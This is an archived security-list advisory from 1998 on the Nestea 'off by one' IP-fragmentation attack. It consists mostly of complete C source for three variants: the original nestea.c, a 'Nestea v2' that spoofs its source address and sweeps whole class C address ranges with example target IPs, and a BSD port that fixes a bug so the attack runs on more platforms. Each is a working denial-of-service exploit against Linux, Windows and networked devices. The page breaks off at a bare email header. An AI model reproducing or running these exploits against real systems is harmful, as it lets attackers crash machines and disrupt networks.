Nestea "Off By One" attack
Description: | A popular attack against Linux boxes |
Author: | John McDonald <jmcdonal@UNF.EDU> |
Compromise: | Stupid remote DOS attack |
Vulnerable Systems: | Linux 2.0.33 and earlier, PalmOS, HP Jet Direct printer cards, some 3COM routers, Magnum 5000 Ethernet switch, Some Windows boxes, perhaps others |
Date: | 17 April 1998 |
Notes: | I have appended the original Linux code, a BSD port, an improved Linux version, and a few other messages on the topic. |
Date: Fri, 17 Apr 1998 19:29:55 -0400
From: John McDonald <jmcdonal@UNF.EDU>
To: BUGTRAQ@NETSPACE.ORG
// nestea.c by humble of rhino9 4/16/98
// This exploits the "off by one ip header" bug in the linux ip frag code.
// Crashes linux 2.0.* and 2.1.* and some windows boxes
// this code is a total rip of teardrop - it's messy
// hi sygma
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
// bsd usage is currently broken because of socket options on the third sendto
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define MAGIC2 108
#define PADDING 256 /* datagram frame padding for first packet */
#define COUNT 500 /* we are overwriting a small number of bytes we
shouldnt have access to in the kernel.
to be safe, we should hit them till they die :> */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
fprintf(stderr, "Death on flaxen wings (yet again):\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
for(i=0;i<PADDING;i++)
{
p_ptr[i++]=random()%255;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
Nestea v2 originally by: humble + ttol mods
Color and Instructions was done by : ttol
Note : ttol released Nestea v2. humble had nothing to do with
it, don't nag him about it. -ttol@ttol.net
----------------------------------------------------------------------------
This is Nestea v2, based on nestea.c, which was made by humble, which was
a rip of teardrop, which was also a rip of flip.c...
ttol made this, so don't go nag humble about it. Need help? Email
ttol@ttol.net and ask for it :) This version has more options, but the
attack is still the same, cept Nestea v2 can do class c's.
Any problems? Email ttol@ttol.net
Thank you for using another ttolware,
-ttol
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define MAGIC2 108
#define PADDING 256 /* datagram frame padding for first packet */
#define COUNT 500 /* we are overwriting a small number of bytes we
shouldnt have access to in the kernel.
to be safe, we should hit them till they die :> */
struct ipstuph
{
int p1;
int p2;
int p3;
int p4;
} startip, endip;
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock, j, bequiet = 0;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
char hit_ip[18], dst_ip2[18];
struct in_addr addr;
fprintf(stderr, "\n[1;34mNestea v2 [0;34moriginally by[0m: [1;34mhumble [0;34m+ [1;34mttol mods[0m\n");
fprintf(stderr, "[0;34mColor and Instructions was done by [0m: [1;34mttol[0m\n");
fprintf(stderr, "[1;34mNote[0m : [1;34mttol released Nestea v2. humble had nothing to do with \n it, don't nag him about it. -ttol@ttol.net[0m\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("[1;34mraw socket[0m");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 4) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "[1;34mWhat the hell kind of IP address is that?[0m\n");
exit(1);
}
strcpy(dst_ip2,argv[3]);
if(sscanf(argv[2],"%d.%d.%d.%d",&startip.p1,&startip.p2,&startip.p3,
&startip.p4) != 4)
{
fprintf(stderr, "[1;34mError, arg2(startip) [0m: [0;34mNeed an ip that contains 4 zones[0m\n");
exit(1);
}
if (startip.p1 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 1 of start ip is incorrect \
(greater than 255)[0m\n");
exit(1);
}
if (startip.p2 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 2 of start ip is incorrect \
(greater than 255)[0m\n");
exit(1);
}
if (startip.p3 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 3 of start ip is incorrect \
(greater than 255)[0m\n");
exit(1);
}
if (startip.p4 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 4 of start ip is incorret \
(greater than 255)[0m\n");
exit(1);
}
if(sscanf(argv[3],"%d.%d.%d.%d",&endip.p1,&endip.p2,&endip.p3,
&endip.p4) != 4)
{
fprintf(stderr, "[1;34mError, arg3(endip) [0m: [[0;34mNeed an ip that \
contains 4 zones[[0m\n");
exit(1);
}
if (endip.p1 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 1 of end ip is incorrect \
(greater than 255)[0m\n");
exit(1);
}
if (endip.p2 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 2 of end ip is incorrect \
(greater than 255)[0m\n");
exit(1);
}
if (endip.p3 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 3 of end ip is incorrect
(greater than 255)[0m\n");
exit(1);
}
if (endip.p4 > 255) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 4 of end ip is incorrect
(greater than 255)[0m\n");
exit(1);
}
if (startip.p1 != endip.p1) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 1 of start ip and end ip is different[0m\n");
exit(1);
}
if (startip.p2 != endip.p2) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 2 of start ip and end ip is different[0m\n");
exit(1);
}
if (startip.p3 != endip.p3) {
fprintf(stderr, "[1;34mError [0m: [0;34mZone 3 of start ip and end ip is different[0m\n");
exit(1);
}
while ((i = getopt_long(argc, argv, "s:t:n:q")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
case 'q': /* quiet mode */
bequiet = 1;
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "[1;34mDeath [0;34mon flaxen wings ([1;34myet again[0;34m)[0m:\n");
addr.s_addr = src_ip;
fprintf(stderr, "[1;34mFrom[0m: [0;34m%15s.%d[0m\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " [1;34mTo[0m: [0;34m%15s - %s.%d[0m\n", inet_ntoa(addr),
dst_ip2, dst_prt);
fprintf(stderr, " [1;34mAmt[0m: [0;34m%5d[0m\n", count);
if (bequiet) fprintf(stderr, "[0;34m[[1;34mquiet mode[0;34m] [0;34mEach'[1;34m.[0;34m' represents a nuked ip. [0;34m[[0m");
for (j=startip.p4; j <= endip.p4; j++)
{
sprintf(hit_ip,"%d.%d.%d.%d",startip.p1,startip.p2,startip.p3,j);
if (!(bequiet)) fprintf(stderr, "[0;34m%s [1;34m[ [0m", hit_ip);
if (!(dst_ip = name_resolve(hit_ip)))
{
fprintf(stderr, "[0;34mWhat the [1;34mhell [0;34mkind of IP address is that?[0m\n");
exit(1);
}
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
if (!(bequiet)) fprintf(stderr, "[0;34md[1;34m00[0;34mm [0m");
usleep(500);
}
if (bequiet) fprintf(stderr, "[1;34m.[0m");
else fprintf(stderr, "[0;34m][0m\n");
}
if (bequiet) fprintf(stderr, "[0;34m][0m\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
for(i=0;i<PADDING;i++)
{
p_ptr[i++]=random()%255;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"[1;34mnestea2 [0;34msource startIP endIP [1;34m[[0;34m-s src port[1;34m] [[0;34m-t dest port[1;34m] [[0;34m-n quantity[1;34m] [[0;34m-q[1;34m][0m\n");
fprintf(stderr, "[0;34msource [0m: [1;34mThis is the source IP to nestea from, make it a spoof[0m\n");
fprintf(stderr, "[0;34mstartIP [0m: [1;34mFrom which IP should we start from? [1;34m([0;34meg 153.35.85.1[1;34m)[0m\n");
fprintf(stderr, "[0;34mendIP [0m: [1;34mFrom which IP should we end with? [1;34m([0;34meg 153.35.95.255[1;34m)[0m\n");
fprintf(stderr, "[0;34msrc port [0m: [1;34mThis is the source port to spoof from [1;34m([0;34mOPTIONAL[1;34m)[0m\n");
fprintf(stderr, "[0;34mdest port[0m: [1;34mThis is the destination port to nestea to [1;34m([0;34mOPTIONAL[1;34m)[0m\n");
fprintf(stderr, "[0;34mquantity [0m: [1;34mThis is how many times to nestea the victim [1;34m([0;34mperfered is 1000[1;34m)[0m\n");
fprintf(stderr, "[0;34m-q [0m: [1;34mThis is quiet mode so you don't see the [0;34md[1;34m00[0;34mm[1;34m's[0m\n\n");
fprintf(stderr, "[0;34mExample [0m: [1;34mnestea2 127.0.0.1 153.35.85.1 153.35.85.255 -n 1000[0m\n");
fprintf(stderr, "[0;34mThe above was to hit a whole Class C of 153.35.85 with the return \naddress from 127.0.0.1 doing it 1000 times[0m\n");
fprintf(stderr, "[0;34mExample2 [0m: [1;34mnestea2 153.35.85.32 153.35.85.32 153.85.35.32 -n 1000[0m\n");
fprintf(stderr, "[0;34mThe above was to hit 153.35.85.32 with the source 153.35.85.32 \ndoing it 1000 times[0m\n");
fprintf(stderr, "[1;34mI perfer example2, probably because it is the lazy man's way out[0m\n\n");
fprintf(stderr, " [1;5;34mNOT TO BE DISTRIBUTED![0m\n");
exit(0);
}
Date: Mon, 27 Apr 1998 01:21:53 +0200
From: Harold Gutch <logix@FOOBAR.FRANKEN.DE>
To: BUGTRAQ@NETSPACE.ORG
Subject: nestea.c, BSD-Port
Hello,
the original nestea.c does not work unter *BSD, as the 3rd sendto() is
incorrect. I fixed this, a nestea.c that compiles unter *BSD (sorry, i only was
able to test it under FreeBSD) and _works_ there follows. I also changed this
"STRANGE_BSD_BYTE_ORDERING_THING", so if you want to compile it under *BSD, a
simple gcc -o nestea nestea.c will work, for linux, you will have to compile it
using gcc -DSTRANGE_LINSUX_BYTE_ORDERING_THING -o nestea nestea.c.
--
bye, logix
<Shabby> Sleep is an abstinence syndrome wich accurs due to lack of coffein.
Wed Mar 4 04:53:33 CET 1998 #unix, ircnet
[ Part 2: "Attached Text" ]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
/* bsd usage works now, the original nestea.c was broken, because some braindead
* linsux-c0d3r was too stupid to use sendto() correctly
*/
#ifndef STRANGE_LINSUX_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define MAGIC2 108
#define PADDING 256 /* datagram frame padding for first packet */
#define COUNT 500 /* we are overwriting a small number of bytes we
shouldnt have access to in the kernel.
to be safe, we should hit them till they die :> */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
fprintf(stderr, "Death on flaxen wings (yet again):\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
for(i=0;i<PADDING;i++)
{
p_ptr[i++]=random()%255;
}
if (sendto(sock, packet, IPH + UDPH + PADDING+40, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
Date: Tue, 21 Apr 1998 22:50:55 -0400
From: Andrew <andrewh@WPI.EDU>
